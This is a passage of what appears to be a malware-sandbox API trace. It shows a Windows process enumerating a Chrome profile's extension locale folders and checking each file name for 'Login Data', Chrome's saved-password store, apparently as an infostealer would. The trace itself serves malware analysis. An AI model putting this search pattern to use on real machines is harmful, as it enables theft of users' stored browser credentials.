Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.837] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.837] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.837] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0054.837] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0054.837] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*" [0054.837] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.837] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.837] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.837] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.837] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.837] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.838] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.838] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.838] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.838] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.838] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0054.838] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0054.838] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*" [0054.838] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.838] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.838] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.838] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.838] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.838] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.838] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.838] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.838] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.838] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.838] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0054.838] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0054.838] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*" [0054.838] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.838] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.838] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.838] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.838] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.838] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.838] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.839] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.839] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.839] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.839] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0054.839] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0054.839] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*" [0054.839] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.839] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.839] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.839] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.839] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.839] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.839] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.839] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.839] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.839] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.839] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0054.839] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0054.839] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*" [0054.839] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.839] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.839] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.839] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.839] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.839] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.839] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.839] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.839] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.840] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.840] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0054.840] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0054.840] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*" [0054.840] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.840] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.840] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.840] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.840] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.840] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.840] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.840] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 